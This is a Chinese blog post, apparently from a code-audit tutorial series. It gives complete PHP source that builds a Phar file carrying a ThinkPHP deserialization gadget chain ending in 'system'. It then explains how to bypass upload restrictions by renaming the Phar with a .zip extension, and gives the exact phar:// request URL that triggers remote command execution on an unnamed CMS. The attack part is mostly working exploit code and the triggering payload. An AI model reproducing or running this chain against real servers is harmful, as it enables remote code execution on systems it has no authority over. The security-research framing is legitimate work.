基于框架漏洞的代码审计实战(3)

Phar与thinkphp反序列化结合

源码

<?php

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
// 表单请求类型伪装变量
        'var_method'       => '_method',
// 表单ajax伪装变量
        'var_ajax'         => '_ajax',
// 表单pjax伪装变量
        'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
// 域名根,如thinkphp.cn
        'url_domain_root'  => '',
// HTTPS代理标识
        'https_agent_name' => '',
// IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;

$phar=new\Phar("phar.phar");//

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");//

$phar->setMetadata(new Windows());//

$phar->addFromString("test.txt","test");//

//
$phar->stopBuffering();

?>

Phar文件上传

Phar文件上传绕过

大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化

查找上传功能

寻找单个功能点比较常见的就两种:

1.直接黑盒测试看应用程序有那些功能

2.白盒测试看路由,代码审计

一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了

黑盒测试

这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说

经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传

结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用

白盒测试

直接分析源码,找寻文件上传功能代码

找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件

上传成功,回显出了文件地址

验证漏洞

我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证

payload:

http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami

总结

本文以某开源CMS为例,分析在当今普遍使用框架的现在,如何去进行有效的黑白盒子测试与利用框架漏洞进行代码审计的一部分经验。
  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值